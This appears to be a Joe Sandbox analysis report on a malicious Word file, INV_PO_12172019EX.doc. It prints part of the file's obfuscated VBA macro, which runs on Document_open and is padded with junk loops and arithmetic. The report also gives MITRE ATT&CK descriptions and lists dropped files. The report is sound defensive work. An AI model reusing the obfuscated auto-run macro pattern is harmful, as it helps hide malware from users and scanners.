Part of subcall function Hdzaptpn@Bnzailenjg: CDate
Part of subcall function Hdzaptpn@Bnzailenjg: Uzpcb0lU
Part of subcall function Hdzaptpn@Bnzailenjg: ilGM
Part of subcall function Hdzaptpn@Bnzailenjg: CStr
Part of subcall function Hdzaptpn@Bnzailenjg: Oct
Part of subcall function Hdzaptpn@Bnzailenjg: ZOa
Part of subcall function Hdzaptpn@Bnzailenjg: CByte
Part of subcall function Hdzaptpn@Bnzailenjg: Hex
Part of subcall function Hdzaptpn@Bnzailenjg: JDvXr
Part of subcall function Hdzaptpn@Bnzailenjg: VGG

Line	Instruction	Meta Information
10	Private Sub Document_open()
11	For Nfcmzbootohq = Onvjmhztum To Onlefmhjnifep	Onvjmhztum Onlefmhjnifep executed
12	Sweudfnzpv = Msukpnbmacoiv	Msukpnbmacoiv
13	Zfhrtwugwq = Saowjipursyqq	Saowjipursyqq
14	Next	Onvjmhztum Onlefmhjnifep
15	Select Case Lpivyuvn	Lpivyuvn
16	Case 726
17	kyQno = CSng(1 * 3 - 9 / Hex(nVfie2Dr3))	CSng Hex nVfie2Dr3
18	DnSM931 = CDate(Uzpcb0lU * CDate(1 / ilGM))	CDate Uzpcb0lU ilGM
19	cCy = 98693360
20	Case 7172
21	Dkm = CStr(4 - Oct(ZOa) * 33 * CByte(6 + Hex(JDvXr)))	CStr Oct ZOa CByte Hex JDvXr
22	svo = 6
23	Yqm = VGG	VGG
24	Case 423356465
25	End Select	Lpivyuvn
26	For Jgkaawvg = Aihtijhnktshs To Asosmqcw	Aihtijhnktshs Asosmqcw
27	Pzwdsqrmrzljs = Tlqhjcniz	Tlqhjcniz
28	Gotixmcu = Kjrdavacpq	Kjrdavacpq
29	Next	Aihtijhnktshs Asosmqcw
30	Select Case Nsflpvxcrw	Nsflpvxcrw
31	Case 726
32	kyQno = CSng(1 * 3 - 9 / Hex(nVfie2Dr3))	CSng Hex nVfie2Dr3
33	DnSM931 = CDate(Uzpcb0lU * CDate(1 / ilGM))	CDate Uzpcb0lU ilGM
34	cCy = 98693360
35	Case 7172
36	Dkm = CStr(4 - Oct(ZOa) * 33 * CByte(6 + Hex(JDvXr)))	CStr Oct ZOa CByte Hex JDvXr
37	svo = 6
38	Yqm = VGG	VGG
39	Case 423356465
40	End Select	Nsflpvxcrw
41	For Qzzktgcfb = Hukkknizcpog To Alshswhn	Hukkknizcpog Alshswhn
42	Gqshutxt = Cqtmthrd	Cqtmthrd
43	Ctjisvjyjnkt = Duvaeiruul	Duvaeiruul
44	Next	Hukkknizcpog Alshswhn
45	Select Case Rgnkfdpazn	Rgnkfdpazn
46	Case 726
47	kyQno = CSng(1 * 3 - 9 / Hex(nVfie2Dr3))	CSng Hex nVfie2Dr3
48	DnSM931 = CDate(Uzpcb0lU * CDate(1 / ilGM))	CDate Uzpcb0lU ilGM
49	cCy = 98693360
50	Case 7172
51	Dkm = CStr(4 - Oct(ZOa) * 33 * CByte(6 + Hex(JDvXr)))	CStr Oct ZOa CByte Hex JDvXr
52	svo = 6
53	Yqm = VGG	VGG
54	Case 423356465
55	End Select	Rgnkfdpazn
56	Hdzaptpn
57	End Sub

Reset < >

Analysis Process: powershell.exePID: 2412, Parent PID: 1856COMMON

Executed Functions

Function 000007FF0028089A Relevance: .0, Instructions: 31COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.942423807.000007FF00280000.00000040.00000800.00020000.00000000.sdmp, Offset: 000007FF00280000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff00280000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: db0a7b914d9b1474e46fb223a83cc3331a24d0dc53513355360dc2f76cc592a4
Instruction ID: 161f8d3cd7e92592649523b3c4b51f714911b99d0bd750d95d5421e0a33e3b06
Opcode Fuzzy Hash: db0a7b914d9b1474e46fb223a83cc3331a24d0dc53513355360dc2f76cc592a4
Instruction Fuzzy Hash: 47E02011719D0B0FFBD0666C684B7B473C1E754313F500076E80DC22A3DD29D98543C1

Uniqueness

Uniqueness Score: -1.00%

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to achieve execution. WMI is a Windows administration feature that provides a uniform environment for local and remote access to Windows system components. It relies on the WMI service for local and remote access and the server message block (SMB) and Remote Procedure Call Service (RPCS) for remote access. RPCS operates over port 135.
Tactics:	Execution
Data Sources:	Authentication logs, Netflow/Enclave netflow, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	PowerShell logs, Process command-line parameters, Process monitoring, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Anti-virus, Process monitoring, System calls
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system. Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	DLL monitoring, File monitoring, Loaded DLLs, PowerShell logs, Process command-line parameters, Process monitoring, Windows event logs
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, DLL monitoring, File monitoring, Named Pipes, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may disable security tools to avoid possible detection of their tools and activities. This can take the form of killing security software or event logging processes, deleting Registry keys so that tools do not start at run time, or other methods to interfere with security tools scanning or reporting information.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Services, Windows Registry
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, File monitoring, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, Azure AD, GCP, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Files may be copied from an external adversary controlled system through the command and control channel to bring tools into the victim network or through alternate protocols with another tool such as FTP. Files can also be copied over on Mac and Linux with native tools like scp, rsync, and sftp.
Tactics:	Command and Control
Data Sources:	File monitoring, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process command-line parameters, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use a non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Host network interface, Netflow/Enclave netflow, Network intrusion detection system, Network protocol analysis, Packet capture, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	DNS records, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report INV_PO_12172019EX.doc

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Sigma Signatures

Snort Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Software Vulnerabilities

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\7FD181C6.wmf

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\A3AE7B0F.wmf

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRF{4D8C8B4D-2408-4479-B193-86C1187A3D7D}.tmp

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{98B5056E-1AC7-42C9-BDDC-599C5AB91B4A}.tmp

C:\Users\user\AppData\Local\Temp\VBE\INKEDLib.exd

C:\Users\user\AppData\Local\Temp\Word8.0\MSForms.exd

C:\Users\user\AppData\Local\Temp\~DF413F6883B338D566.TMP

C:\Users\user\AppData\Local\Temp\~DF9A691EC184F6B5B3.TMP

C:\Users\user\AppData\Local\Temp\~DFA8E9CC93153586F4.TMP

C:\Users\user\AppData\Local\Temp\~DFAAA31D5F4A1B1B2F.TMP

C:\Users\user\AppData\Local\Temp\~DFD6589A193BC4C172.TMP

C:\Users\user\AppData\Local\Temp\~DFF8750E7A0A2DF968.TMP

C:\Users\user\AppData\Roaming\Microsoft\Forms\INKEDLib.exd

C:\Users\user\AppData\Roaming\Microsoft\Office\Recent\INV_PO_12172019EX.LNK

C:\Users\user\AppData\Roaming\Microsoft\Office\Recent\index.dat

C:\Users\user\AppData\Roaming\Microsoft\Templates\~$Normal.dotm

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms (copy)

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\LDV95WB5GH1Q7ECQYL9V.temp

C:\Users\user\Desktop\~$V_PO_12172019EX.doc

Static File Info

Windows Analysis Report
INV_PO_12172019EX.doc